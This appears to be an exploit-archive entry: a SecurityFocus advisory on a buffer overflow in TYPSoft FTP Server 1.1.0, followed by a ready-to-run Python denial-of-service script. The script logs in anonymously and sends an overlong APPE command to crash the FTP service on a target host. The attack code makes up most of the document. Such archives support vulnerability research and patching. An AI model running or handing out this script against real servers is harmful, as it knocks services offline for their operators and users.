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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/52554/info

TYPSoft FTP Server is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
import socket, sys
if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A../' + '\x41' *100
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
s.connect((host,21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('APPE ' + buffer + '\r\n')
print '\n\t[*] Done! Target should be unresponsive!'
s.close()